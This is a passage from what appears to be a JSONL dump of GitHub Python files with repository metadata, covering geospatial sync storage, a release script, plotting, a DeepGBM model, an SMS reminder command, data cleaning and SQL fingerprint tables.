copy_time\n gh.geodiff_time = geodiff_apply_time\n logging.info(f\"Changeset applied in {geodiff_apply_time} s\")\n except (GeoDiffLibError, GeoDiffLibConflictError):\n project_workspace = self.project.workspace.name\n sync_errors[\n f[\"path\"]\n ] = f\"project: {project_workspace}/{self.project.name}, {self.gediff_log.getvalue()}\"\n continue\n\n f[\"diff\"][\"location\"] = os.path.join(\n version,\n f[\"diff\"][\"sanitized_path\"]\n if \"sanitized_path\" in f[\"diff\"]\n else mergin_secure_filename(f[\"diff\"][\"path\"]),\n )\n\n # we can now replace old basefile metadata with the new one (patchedfile)\n # TODO this can potentially fail for large files\n logging.info(f\"Apply changes: calculating checksum of {patchedfile}\")\n start = time.time()\n f[\"checksum\"] = generate_checksum(patchedfile)\n checksumming_time = time.time() - start\n gh.checksum_time = checksumming_time\n logging.info(f\"Checksum calculated in {checksumming_time} s\")\n f[\"size\"] = os.path.getsize(patchedfile)\n db.session.add(gh)\n elif is_versioned_file(f[\"path\"]):\n # diff not provided by client (e.g. web browser), let's try to construct it here\n basefile = os.path.join(self.project_dir, old_item[\"location\"])\n updated_file = os.path.join(self.project_dir, version, f[\"path\"])\n diff_name = f[\"path\"] + \"-diff-\" + str(uuid.uuid4())\n changeset = os.path.join(self.project_dir, version, diff_name)\n try:\n self.flush_geodiff_logger()\n logging.info(\n f\"Geodiff: create changeset {changeset} from {updated_file}\"\n )\n self.geodiff.create_changeset(basefile, updated_file, changeset)\n # append diff metadata as it would be created by other clients\n f[\"diff\"] = {\n \"path\": diff_name,\n \"location\": os.path.join(\n version, mergin_secure_filename(diff_name)\n ),\n \"checksum\": generate_checksum(changeset),\n \"size\": os.path.getsize(changeset),\n }\n no_diff_in_meta = False\n except (GeoDiffLibError, GeoDiffLibConflictError):\n # diff is not possible to create - file will be overwritten\n move_to_tmp(changeset) # remove residuum from geodiff\n no_diff_in_meta = True\n logging.warning(\n f\"Geodiff: create changeset error {self.gediff_log.getvalue()}\"\n )\n else:\n # simple update of geodiff unsupported file\n no_diff_in_meta = True\n\n if \"chunks\" in f:\n f.pop(\"chunks\")\n f[\"location\"] = os.path.join(\n version,\n f[\"sanitized_path\"]\n if \"sanitized_path\" in f\n else mergin_secure_filename(f[\"path\"]),\n )\n if not sync_errors:\n old_item.update(f)\n # make sure we do not have diff in metadata if diff file was not uploaded/created\n if no_diff_in_meta:\n old_item.pop(\"diff\", None)\n\n if sync_errors:\n for file in modified_files:\n move_to_tmp(file, transaction_id)\n msg = \"\"\n for key, value in sync_errors.items():\n msg += key + \" error=\" + value + \"\\n\"\n raise DataSyncError(msg)\n\n for item in changes[\"added\"]:\n files.append(\n {\n \"path\": item[\"path\"],\n \"size\": item[\"size\"],\n \"checksum\": item[\"checksum\"],\n \"mtime\": item[\"mtime\"],\n \"location\": os.path.join(\n version,\n item[\"sanitized_path\"]\n if \"sanitized_path\" in item\n else mergin_secure_filename(item[\"path\"]),\n ),\n }\n )\n\n self.project.files = files\n self.project.tags = resolve_tags(files)\n\n def delete(self):\n move_to_tmp(self.project_dir)\n\n def restore_versioned_file(self, file, version):\n \"\"\"\n For removed versioned files tries to restore full file in particular project version\n using file diffs history (latest basefile and sequence of diffs).\n\n :param file: path of file in project to recover\n :type file: str\n :param version: project version (e.g. v2)\n :type version: str\n \"\"\"\n from ..models import GeodiffActionHistory, ProjectVersion\n\n if not is_versioned_file(file):\n return\n\n # if project version is not found, return it\n project_version = ProjectVersion.query.filter_by(\n project_id=self.project.id, name=version\n ).first()\n if not project_version:\n return\n\n # check actual file from the version files\n file_found = next((i for i in project_version.files if i[\"path\"] == file), None)\n\n # check the location that we found on the file\n if not file_found or os.path.exists(\n os.path.join(self.project_dir, file_found[\"location\"])\n ):\n return\n\n base_meta, diffs = self.project.file_diffs_chain(file, version)\n if not (base_meta and diffs):\n return\n\n basefile = os.path.join(self.project_dir, base_meta[\"location\"])\n tmp_dir = os.path.join(current_app.config[\"TEMP_DIR\"], str(uuid.uuid4()))\n os.makedirs(tmp_dir, exist_ok=True)\n restored_file = os.path.join(\n tmp_dir, os.path.basename(basefile)\n ) # this is final restored file\n logging.info(f\"Restore file: copying {basefile} to {restored_file}\")\n start = time.time()\n copy_file(basefile, restored_file)\n copy_time = time.time() - start\n logging.info(f\"File copied in {copy_time} s\")\n logging.info(f\"Restoring gpkg file with {len(diffs)} diffs\")\n\n try:\n self.flush_geodiff_logger() # clean geodiff logger\n if len(diffs) > 1:\n # concatenate multiple diffs into single one\n changeset = os.path.join(tmp_dir, os.path.basename(basefile) + \"-diff\")\n partials = [\n os.path.join(self.project_dir, d[\"location\"]) for d in diffs\n ]\n self.geodiff.concat_changes(partials, changeset)\n else:\n changeset = os.path.join(self.project_dir, diffs[0][\"location\"])\n\n logging.info(\n f\"Geodiff: apply changeset {changeset} of size {os.path.getsize(changeset)}\"\n )\n # if we are going backwards we need to reverse changeset!\n if int_version(base_meta[\"version\"]) > int_version(version):\n logging.info(f\"Geodiff: inverting changeset\")\n changes = os.path.join(\n tmp_dir, os.path.basename(basefile) + \"-diff-inv\"\n )\n self.geodiff.invert_changeset(changeset, changes)\n else:\n changes = changeset\n start = time.time()\n self.geodiff.apply_changeset(restored_file, changes)\n # track geodiff event for performance analysis\n gh = GeodiffActionHistory(\n self.project.id, base_meta, version, \"restore_file\", changes\n )\n apply_time = time.time() - start\n gh.geodiff_time = apply_time\n logging.info(f\"Changeset applied in {apply_time} s\")\n except (GeoDiffLibError, GeoDiffLibConflictError):\n project_workspace = self.project.workspace.name\n logging.exception(\n f\"Failed to restore file: {self.gediff_log.getvalue()} from project {project_workspace}/{self.project.name}\"\n )\n return\n # move final restored file to place where it is expected (only after it is successfully created)\n logging.info(\n f\"Copying restored file to expected location {file_found['location']}\"\n )\n start = time.time()\n copy_file(restored_file, os.path.join(self.project_dir, file_found[\"location\"]))\n logging.info(f\"File copied in {time.time() - start} s\")\n copy_time += time.time() - start\n gh.copy_time = copy_time\n db.session.add(gh)\n db.session.commit()\n","repo_name":"MerginMaps/server","sub_path":"server/mergin/sync/storages/disk.py","file_name":"disk.py","file_ext":"py","file_size_in_byte":18837,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"76"} +{"seq_id":"9497496193","text":"# coding=utf8\n\nimport json\nimport sqlite3\nfrom typing import Dict\n\n\ndef execute_sql(db_path: str, sql: str) -> Dict:\n conn = sqlite3.connect(f'file:%s?mode=ro' % db_path, uri=True)\n cursor = conn.cursor()\n try:\n cursor.execute(sql)\n data = cursor.fetchall()\n data_description = cursor.description\n finally:\n conn.close()\n return {\n \"data_details\": data, \"data_description\": data_description\n }","repo_name":"xjtu-intsoft/chase","sub_path":"AnnotationTool/backend/sql_parser/execute_sql.py","file_name":"execute_sql.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"76"} +{"seq_id":"30126839947","text":"\nimport sys\nfrom pathlib import Path\n\nfrom invoke import task, Collection, Program\nfrom ruamel.yaml import YAML\n\n\n@task(default=True)\ndef release(inv):\n \"\"\"Release a new version\"\"\"\n\n # Ensure no uncommited changes\n if inv.run('git status --porcelain', hide='out').stdout.strip():\n sys.exit(\"Uncommited changes present\")\n\n # Ensure on master branch\n if not inv.run('git status --branch --porcelain', hide='out').stdout.startswith('## master'):\n sys.exit(\"Must be on master branch\")\n\n # Ensure changes since last release\n if inv.run('git tag --points-at HEAD', hide='out').stdout.strip():\n sys.exit(\"No changes since last release\")\n\n # Load app config\n app_config_path = Path('app_config/app_config.yaml')\n app_config_data = YAML().load(app_config_path)\n\n # Confirm new version with user\n prev_version = app_config_data['version']\n suggest_version = prev_version.split('.')\n suggest_version = '.'.join(suggest_version[0:2] + [str(int(suggest_version[2]) + 1)])\n print(f\"Previous version was: {prev_version}\")\n new_version = input(f\"New version [{suggest_version}]: \").strip() or suggest_version\n\n # Update app config\n app_config_data['version'] = new_version\n YAML().dump(app_config_data, app_config_path)\n inv.run('apply_app_config stello')\n inv.run('git add .')\n inv.run(f'git commit -m \"Version {new_version}\"')\n\n # Tag the new version\n inv.run(f'git tag --annotate -m \"Version {new_version}\" v{new_version}')\n\n # Notes\n print(\"\\n\\nNow push and once built, test using below before running release_publish\\n\")\n print(\"https://stello-releases.s3-us-west-2.amazonaws.com/electron_proposed/stello.AppImage\")\n\n\nif __name__ == '__main__':\n collection = Collection.from_module(sys.modules[__name__])\n Program('0.0.0', namespace=collection).run()\n","repo_name":"gracious-tech/stello","sub_path":".bin/release.py","file_name":"release.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"76"} +{"seq_id":"9244496312","text":"import matplotlib.pyplot as plt\nfrom matplotlib import *\nimport numpy as np\nimport scipy.stats as stats\n#plt.style.use('dark_background')\n\n# Importing required libraries\n\nfig = plt.figure()\n\nax = fig.add_subplot(111)\nx_min = 0.0\nx_max = 16.0\n\nmean = 8.0\nstd = 2.0\n\nx_point=[8, 9]\ny_point=[0.2, 0.1762]\n\nx = np.linspace(x_min, x_max, 100)\n\ny = stats.norm.pdf(x,mean,std)\n\n#Plotting the Results\nax.plot(x, y,color='blue',linewidth='4')\n\nax.set_xlim(x_min,x_max)\nax.set_ylim(0,0.23)\nax.grid(alpha=0.1)\nax.set_ylim(bottom=0)\nfig.text(0.08, 0.8, r'$ \\frac{\\Delta n}{ \\Delta v}$',fontsize=15, color='green')\nax.spines['right'].set_visible(False)\nax.spines['top'].set_visible(False)\nax.set_yticks([])\nfig.text(0.5, 0.07, r'$c$',fontsize=15, color='green')\nfig.text(0.56, 0.07, r'$v_{ср}$',fontsize=15, color='green')\nfig.text(0.85, 0.07, r'$v$',fontsize=15, color='green')\nax.set_xticks([])\nX = [0.5, 0.07]\nY = [7.81, 0.2011]\n\nax.vlines(8, 0, 0.2, color='#8F00FF')\nax.vlines(9, 0, 0.1762, color='blue')\nax.scatter(x_point, y_point, s=30,marker='o',color='coral', zorder=3)\n\nplt.show()","repo_name":"NogameNo-life/Graduate-work","sub_path":"graph_scripts/dist.py","file_name":"dist.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"6051089636","text":"__author__ = 'R.Azh'\n\n\nclass Node:\n def __init__(self, value):\n self.left = []\n self.value = value\n self.right = []\n\n def iterate(self):\n for node in self.left:\n yield from node.iterate()\n yield self.value\n for node in self.right:\n yield from node.iterate()\n\n\nclass NodeRefctored:\n def __init__(self, value):\n self.left = []\n self.value = value\n self.right = []\n\n def process(self):\n input_value = yield self.value\n\n\n def child_iterate(self, nodes):\n for node in nodes:\n yield from node.process()\n\n def node_iterate(self):\n yield from self.child_iterate(self.left)\n self.process()\n yield from self.child_iterate(self.right)\n\n\ndef main():\n root = Node(0)\n root.left = [Node(i) for i in [1, 2, 3]]\n root.right = [Node(i) for i in [4, 5, 6]]\n # for value in root.iterate():\n # print(value)\n # or\n it = root.iterate()\n while True:\n try:\n print(it.send(None))\n except StopIteration:\n break\n print('####################################')\n root2 = NodeRefctored(100)\n root2.right = [NodeRefctored(i) for i in [101, 102, 103]]\n root2.left = [NodeRefctored(i) for i in [97, 98, 99]]\n it2 = root2.node_iterate()\n while True:\n try:\n print(it2.send(None))\n except StopIteration:\n break\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"r-azh/TestProject","sub_path":"TestPython/test_generator/test_binary_tree_generator.py","file_name":"test_binary_tree_generator.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"33245149749","text":"import time, math\n\ns = time.time()\n\ndef IsPrime( n ):\n\tif n == 2:\n\t\treturn 1\n\telif n % 2 == 0:\n\t\treturn 0\n\t\n\ti = 3\n\trange = int( math.sqrt(n) ) + 1\n\twhile( i < range ):\n\t\tif( n % i == 0):\n\t\t\treturn 0\n\t\ti += 1\n\treturn 1\n\t\nN,T = 1,3\n\nwhile N < 10001:\n\tif IsPrime(T):\n\t\tN+=1\n\tT+=2\nprint (T-2)\nprint (time.time() - s)","repo_name":"need4spd/eulerproject","sub_path":"need4spd/euler_7_other_solution.py","file_name":"euler_7_other_solution.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"76"} +{"seq_id":"35919932419","text":"import xml.etree.ElementTree as ET\n\ndef salida_Archivo(lista_):\n temp = lista_\n try:\n print(\"Escribir una ruta especifica: \", end=\"\")\n ruta = input()\n except:\n print(\"Hay un error con la ruta de salida\")\n \n root = ET.Element(\"matrices\")\n while(temp.next != None):\n matriz = ET.SubElement(root, \"matriz\", nombre = temp.head.data, n = temp.head.n, m = temp.head.m)\n i = 1\n j = 1\n m = int(temp.head.m)\n temp.head = temp.head.next\n while(temp.head != temp.tail.next):\n ET.SubElement(matriz, \"dato\", x = str(i), y = str(j)).text = str(temp.head.data)\n j += 1\n if(j>m):\n j = 1\n i += 1\n temp.head = temp.head.next\n matriz.set('n',str(i-1))\n while(temp.freq != None):\n if(temp.freq.data != 0):\n ET.SubElement(matriz, \"frecuencia\", g = str(temp.freq.x)).text = str(temp.freq.data)\n temp.freq = temp.freq.next\n temp = temp.next\n\n\n prettify(root)\n tree = ET.ElementTree(root)\n tree.write(ruta, encoding='UTF-8', xml_declaration=True)\n\n#https://stackoverflow.com/a/38573964 Codigo hecho por el Usuario Nacitar Sevaht, utilizado para que el archivo de xml sea ligible \ndef prettify(element, indent=' '):\n queue = [(0, element)] # (level, element)\n while queue:\n level, element = queue.pop(0)\n children = [(level + 1, child) for child in list(element)]\n if children:\n element.text = '\\n' + indent * (level+1) # for child open\n if queue:\n element.tail = '\\n' + indent * queue[0][0] # for sibling open\n else:\n element.tail = '\\n' + indent * (level-1) # for parent close\n queue[0:0] = children # prepend so children come before siblings","repo_name":"Agrn96/IPC2_Proyecto1_201612174","sub_path":"Salida_Archivo.py","file_name":"Salida_Archivo.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"8732330999","text":"import re\n\n\ndef m(s):\n R = re.compile(r'^[a-z0-9_-]+@[a-zA-Z0-9]+\\.[a-zA-Z]{1,3}$')\n if(R.match(s)):\n return True\n else:\n return False\n\n# s1='harsh@gmail'\n# s2='iota_98@hackerrank.com'\n\n# print(m(s1))\n# print(m(s2))\n\n\nN = int(input())\nl = []\nfor i in range(N):\n l.append(input())\n\nl1 = sorted(filter(m, l))\nprint(l1)\n","repo_name":"jordanmmck/cs","sub_path":"alg_ds/hackerrank/python_path/12.functionals/2.validemailwithfilter.py","file_name":"2.validemailwithfilter.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"7721364510","text":"import torch\nimport torch.nn as nn\n\nfrom models.deepgbm_lib.models.CatNN import CatNN\nfrom models.deepgbm_lib.models.GBDT2NN import GBDT2NN\n\nimport models.deepgbm_lib.config as config\n\n'''\n\n Define DeepGBM network.\n Combination of CatNN and GBDT2NN.\n\n'''\n\n\nclass DeepGBM(torch.nn.Module):\n def __init__(self, nume_input_size=None, used_features=None,\n output_w=None, output_b=None,\n cate_field_size=None, feature_sizes=None,\n is_shallow_dropout=True, dropout_shallow=[0.5, 0.5],\n h_depth=2, deep_layers=[32, 32], is_deep_dropout=False,\n dropout_deep=[0.5, 0.5, 0.5],\n deep_layers_activation='relu',\n is_batch_norm=False,\n func=None):\n super(DeepGBM, self).__init__()\n\n self.alpha = nn.Parameter(torch.tensor(0.0)) + 1\n self.beta = nn.Parameter(torch.tensor(0.0))\n self.task = config.config['task']\n\n self.gbdt2nn = GBDT2NN(nume_input_size, used_features, output_w, output_b)\n\n self.catnn = CatNN(cate_field_size, feature_sizes)\n\n print('Init DeepGBM succeed!')\n\n if self.task == 'regression':\n self.criterion = nn.MSELoss()\n elif self.task == 'binary':\n self.criterion = nn.BCELoss()\n elif self.task == 'classification':\n print(\"Classification not yet implemented\")\n\n def forward(self, Xg, Xd):\n Xd = Xd.long()\n\n gbdt2nn_out, gbdt2nn_pred = self.gbdt2nn(Xg)\n catnn_out = self.catnn(Xd)\n\n out = self.alpha * gbdt2nn_out.view(-1) + self.beta * catnn_out.view(-1)\n\n if self.task == 'binary':\n return nn.Sigmoid()(out), gbdt2nn_pred\n\n return out, gbdt2nn_pred\n\n def joint_loss(self, out, target, gbdt2nn_emb_pred, gbdt2nn_emb_target, ratio):\n # true_loss = (1-ratio) * self.criterion(out.view(-1), target.view(-1))\n return (1 - ratio) * self.true_loss(out, target) + ratio * self.gbdt2nn.emb_loss(gbdt2nn_emb_pred,\n gbdt2nn_emb_target)\n\n def true_loss(self, out, target):\n return self.criterion(out.view(-1), target.view(-1))\n","repo_name":"LeoGrin/tabular-benchmark","sub_path":"src/models/TabSurvey/models/deepgbm_lib/models/DeepGBM.py","file_name":"DeepGBM.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":359,"dataset":"github-code","pt":"76"} +{"seq_id":"9117256552","text":"from care.sms.models import send_sms_message, send_email_message\nfrom care.sms.models import Facility\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.conf import settings\nfrom care.sms.utils import CLUSTER_DAILY_TPL\nfrom django.utils import timezone\nimport pytz\nimport os\n\n\nAMERICA_PHOENIX = pytz.timezone('America/Phoenix')\n\nattachment_filename = 'Linelist_Instruction.pdf'\nattachment_path = os.path.join(settings.BASE_DIR, 'sms', 'templates', 'messages', attachment_filename)\nwith open(attachment_path, 'rb+') as f:\n attachment_content = f.read()\nattachment_mimetype = 'application/pdf'\n\n\nclass Command(BaseCommand):\n help = 'Sends a reminder with link to survey to Facilities that have cluster status daily.'\n # to be scheduled in a cron job at 3pm weekdays (no sat/sun).\n def handle(self, *args, **options):\n az_now = timezone.now().astimezone(AMERICA_PHOENIX)\n email_enabled = getattr(settings, 'EMAIL_ENABLED', True)\n sms_enabled = getattr(settings, 'SMS_ENABLED', True)\n for facility in Facility.objects.filter(cluster=True):\n link = facility.qualtrics_link()\n sms_message = CLUSTER_DAILY_TPL['sms'].format(uuid=facility.identity, link=link)\n email_message = CLUSTER_DAILY_TPL['email'].format(uuid=facility.identity, link=link, facility_name=facility.name)\n if sms_enabled:\n send_sms_message(facility.identity, sms_message, bulk=False)\n if email_enabled:\n send_email_message(facility.identity, CLUSTER_DAILY_TPL['subject'], email_message, bulk=False, attachment_filename=attachment_filename, attachment_content=attachment_content, attachment_mimetype=attachment_mimetype)\n facility.last_message_date = az_now\n facility.save()\n","repo_name":"ua-data7/congregate-care","sub_path":"care/sms/management/commands/send_cluster_daily_email.py","file_name":"send_cluster_daily_email.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"16348138089","text":"import torch.utils.data\nfrom data.base_data_loader import BaseDataLoader\n\n\ndef CreateDataset(opt, flownet):\n dataset = None\n if opt.dataset == 'cityscapes' and opt.isTrain is True:\n from data.temporal_dataset import TemporalDataset\n dataset = TemporalDataset()\n dataset.initialize(opt)\n elif opt.dataset == 'cityscapes' and opt.isTrain is False and opt.next is False:\n from data.temporal_dataset_test_my_back import TestTemporalDataset\n dataset = TestTemporalDataset()\n dataset.initialize(opt, flownet)\n elif opt.dataset == 'cityscapes' and opt.isTrain is False and opt.next is True:\n from data.temporal_dataset_test_my_back_next import TestTemporalDataset\n dataset = TestTemporalDataset()\n dataset.initialize(opt, flownet)\n elif opt.dataset == 'kitti' and opt.isTrain is False:\n from data.temporal_dataset_test_my_back import TestTemporalDataset\n dataset = TestTemporalDataset()\n dataset.initialize(opt, flownet)\n else:\n raise ValueError(\"Dataset [%s] not recognized.\" % opt.dataset_mode)\n\n print(\"dataset [%s] was created\" % (dataset.name()))\n \n return dataset\n\n\n\nclass CustomDatasetDataLoader(BaseDataLoader):\n def name(self):\n return 'CustomDatasetDataLoader'\n\n def initialize(self, opt, flownet=None):\n BaseDataLoader.initialize(self, opt)\n self.dataset = CreateDataset(opt, flownet)\n shuffle_flag = True if opt.isTrain is True else False\n workers=4 if opt.isTrain is True else 0\n self.dataloader = torch.utils.data.DataLoader(\n self.dataset,\n batch_size=opt.batchSize,\n shuffle=shuffle_flag,\n num_workers=workers)\n\n def load_data(self):\n return self.dataloader\n\n def __len__(self):\n return min(len(self.dataset), self.opt.max_dataset_size)\n","repo_name":"YueWuHKUST/CVPR2020-FutureVideoSynthesis","sub_path":"fore/data/custom_dataset_data_loader.py","file_name":"custom_dataset_data_loader.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"76"} +{"seq_id":"6987782682","text":"# pylint: disable=C0111,R0903\n# -*- coding: utf-8 -*-\n\n\"\"\"Displays information about the current song in mocp. Left click toggles play/pause. Right click toggles shuffle.\n\nRequires the following executable:\n * mocp\n\nParameters:\n * mocp.format: Format string for the song information. Replace string sequences with the actual information:\n\n * %state State\n * %file File\n * %title Title, includes track, artist, song title and album\n * %artist Artist\n * %song SongTitle\n * %album Album\n * %tt TotalTime\n * %tl TimeLeft\n * %ts TotalSec\n * %ct CurrentTime\n * %cs CurrentSec\n * %b Bitrate\n * %r Sample rate\n\ncontributed by `chrugi `_ - many thanks!\n\"\"\"\n\nimport core.module\nimport core.widget\nimport core.input\n\nimport util.cli\n\n\nclass Module(core.module.Module):\n def __init__(self, config, theme):\n super().__init__(config, theme, core.widget.Widget(self.description))\n\n core.input.register(self, button=core.input.LEFT_MOUSE, cmd=\"mocp -G\")\n core.input.register(self, button=core.input.RIGHT_MOUSE, cmd=\"mocp -t shuffle\")\n self.__format = self.parameter(\"format\", \"%state %artist - %song | %ct/%tt\")\n self.__running = False\n\n def description(self, widget):\n return self.__info if self.__running == True else \"Music On Console Player\"\n\n def update(self):\n self.__load_song()\n\n def __load_song(self):\n try:\n self.__info = util.cli.execute(\"mocp -Q '{}'\".format(self.__format)).strip()\n self.__running = True\n except RuntimeError:\n self.__running = False\n\n\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n","repo_name":"tobi-wan-kenobi/bumblebee-status","sub_path":"bumblebee_status/modules/contrib/mocp.py","file_name":"mocp.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":1154,"dataset":"github-code","pt":"76"} +{"seq_id":"24791760196","text":"import pandas as pd\nimport numpy as np\nimport time\nfrom datetime import date as Date\n\nimport dataAnalyzer\n\ndef combineCSVs():\n goldDF = pd.read_csv('./Data/newGold.csv')\n btcDF = pd.read_csv('./Data/BCHAIN-MKPRU.csv')\n\n df = goldDF.join(btcDF['BTC Price'])\n # df = df.join(getDatesDataFrame(df)[\"Unix Time\"])\n df = df.join(getDaysSinceRiseAndFall(df))\n\n df.to_csv('./Data/finalData.csv', index=True, index_label=\"Index\")\n\ndef insert_row(idx, df, df_insert):\n dfA = df.iloc[:idx]\n dfB = df.iloc[idx:]\n\n df = dfA.append(df_insert).append(dfB).reset_index(drop = True)\n\n return df\n\ndef fillGold():\n goldDF = pd.read_csv('./Data/fixedGold.csv')\n\n missingDates = dataAnalyzer.findMissingDates()\n\n for date in missingDates:\n positionInDF = dataAnalyzer.getDFPosition(date)\n\n goldDF = insert_row(positionInDF-1, goldDF,\n pd.DataFrame(np.array([[date, \n goldDF['USD (PM)'][positionInDF-1]]]),\n columns=['Date', 'USD (PM)']))\n #goldDF.loc[positionInDF] = [date, goldDF[positionInDF-1]]\n\n goldDF.to_csv('./Data/newGold.csv', index=False)\n\ndef fixGold():\n goldDF = pd.read_csv('./Data/LBMA-GOLD.csv')\n\n positions, dates = dataAnalyzer.getMissingPriceDates(goldDF)\n\n for i in range(len(positions)):\n goldDF.loc[positions[i]] = dates[i], goldDF['USD (PM)'][positions[i]-1]\n\n goldDF.to_csv('./Data/fixedGold.csv', index=False)\n\ndef getDatesDataFrame(df):\n datesDF = df['Date']\n unixTimeList = {\"Unix Time\": []}\n\n # TODO - make date object and set a dataframe with the dates as integers\n for date in datesDF:\n dateObject = Date(2000 + int(dataAnalyzer.getYear(date)), int(dataAnalyzer.getMonth(date)), int(dataAnalyzer.getDay(date)))\n\n unixTimeList['Unix Time'].append(time.mktime(dateObject.timetuple()))\n\n return pd.DataFrame(unixTimeList)\n\ndef getDaysSinceRiseAndFall(df):\n riseFallDict = {\"BTCDaysSinceRise\": [0], \"BTCDaysSinceFall\": [0], \"GoldDaysSinceRise\": [0], \"GoldDaysSinceFall\": [0], }\n transactionFee = {\"BTC\": 0.02, \"Gold\": 0.01}\n\n for t in [\"BTC\", \"Gold\"]:\n highestValueIndex = 0\n lowestValueIndex = 0\n currentDF = df[t + \" Price\"]\n for day in range(len(df[t + \" Price\"][1:])):\n price = currentDF[day]\n if price < currentDF[lowestValueIndex]:\n riseFallDict[t + \"DaysSinceFall\"].append(riseFallDict[t + \"DaysSinceFall\"][-1] + 1)\n lowestValueIndex = day\n elif (price > currentDF[lowestValueIndex] and price - currentDF[highestValueIndex] > (price * (transactionFee[t]))):\n # Low Spike\n riseFallDict[t + \"DaysSinceFall\"].append(0)\n riseFallDict[t + \"DaysSinceFall\"][lowestValueIndex+1:] = replaceValueInList(riseFallDict[t + \"DaysSinceFall\"][lowestValueIndex+1:])\n riseFallDict[t + \"DaysSinceFall\"][lowestValueIndex] = 0\n elif (price >= currentDF[lowestValueIndex]):\n riseFallDict[t + \"DaysSinceFall\"].append(riseFallDict[t + \"DaysSinceFall\"][-1] + 1)\n\n if (price > currentDF[highestValueIndex]):\n riseFallDict[t + \"DaysSinceRise\"].append(riseFallDict[t + \"DaysSinceRise\"][-1] + 1)\n highestValueIndex = day\n elif (price < currentDF[highestValueIndex] and currentDF[lowestValueIndex] - price > (price * transactionFee[t])):\n # High Spike\n riseFallDict[t + \"DaysSinceRise\"].append(0)\n riseFallDict[t + \"DaysSinceFall\"][highestValueIndex+1:] = replaceValueInList(riseFallDict[t + \"DaysSinceRise\"][highestValueIndex+1:])\n riseFallDict[t + \"DaysSinceFall\"][highestValueIndex] = 0\n elif (price <= currentDF[highestValueIndex]):\n riseFallDict[t + \"DaysSinceRise\"].append(riseFallDict[t + \"DaysSinceRise\"][-1] + 1)\n\n return pd.DataFrame(riseFallDict)\n \ndef replaceValueInList(l):\n newl = []\n for i in range(len(l)):\n newl.append(i+1)\n return newl\n","repo_name":"TheProgrammer33/Problem_C_MCM","sub_path":"dataCleaner.py","file_name":"dataCleaner.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"37437885902","text":"from sqlalchemy import text\nfrom analogues.conf import cdsdb\nfrom grib import GribFile\nimport numpy as np\nfrom analogues.fingerprint import FingerPrint\n\n\nclass FieldSQL:\n\n def __init__(self):\n self._fingerprint_table = None\n self._file_table = None\n\n self._sql_dates = None\n\n self._minimum = None\n self._maximum = None\n self._mean = None\n self._stddev = None\n\n self._smoothness1_maximum = None\n self._smoothness1_average = None\n self._smoothness1_average_no_constants = None\n\n self._smoothness2_maximum = None\n self._smoothness2_average = None\n\n self.update_missing_sql_fields()\n\n self._SELECT_SAMPLE = None\n self._SELECT_FIRST_SAMPLE = None\n\n def seed(self, valid_dates):\n\n insert = text(\"\"\"\n INSERT INTO {table} (valid_date) VALUES (:valid_date)\n ON CONFLICT DO NOTHING;\n \"\"\".format(table=self.fingerprint_table))\n\n with cdsdb.begin() as connection:\n\n for valid_date in valid_dates:\n connection.execute(insert, valid_date=valid_date)\n\n @property\n def fingerprint_table(self):\n if self._fingerprint_table is None:\n self._fingerprint_table = \"fingerprint_{param}_{domain}_{dataset}\".format(param=self.param,\n domain=self.domain,\n dataset=self.dataset)\n\n STMT = text(\"\"\"\n CREATE TABLE IF NOT EXISTS {table} (\n valid_date TIMESTAMP NOT NULL UNIQUE,\n\n -- Fingerprint\n fingerprint_s INTEGER , -- should be smallint, but smallint is signed\n fingerprint_r REAL , -- mean\n\n field_min REAL,\n field_max REAL,\n -- FILE\n\n file_id INTEGER, -- REFERENCES files(id),\n position BIGINT,\n\n -- Updated\n updated TIMESTAMP NOT NULL DEFAULT ({now})\n );\n \"\"\".format(table=self._fingerprint_table,\n now=cdsdb.sql_now))\n with cdsdb.begin() as connection:\n connection.execute(STMT)\n\n # for col in ('field_min', 'field_max'):\n # try:\n # with cdsdb.begin() as connection:\n # alter = \"alter table {table} add column {col} real\".format(table=self._fingerprint_table, col=col)\n # connection.execute(text(alter))\n # except Exception as e:\n # print(e)\n # pass\n\n return self._fingerprint_table\n\n @property\n def file_table(self):\n if self._file_table is None:\n self._file_table = \"file_{param}_{domain}_{dataset}\".format(param=self.param,\n domain=self.domain,\n dataset=self.dataset)\n\n STMT = text(\"\"\"\n CREATE TABLE IF NOT EXISTS {table} (\n id {increment},\n path TEXT UNIQUE NOT NULL --CHECK (path <> '')\n );\n \"\"\".format(table=self._file_table,\n increment=cdsdb.sql_autoincrement))\n with cdsdb.begin() as connection:\n connection.execute(STMT)\n\n return self._file_table\n\n def fingerprints(self):\n\n STMT = text(\"\"\"\n SELECT valid_date, fingerprint_r, fingerprint_s FROM {table}\n WHERE fingerprint_r IS NOT NULL\n AND fingerprint_s IS NOT NULL\n AND file_id IS NOT NULL\n \"\"\".format(table=self.fingerprint_table))\n\n with cdsdb.begin() as connection:\n result = connection.execute(STMT)\n return dict((cdsdb.sql_to_datetime(d[0]), (d[1], 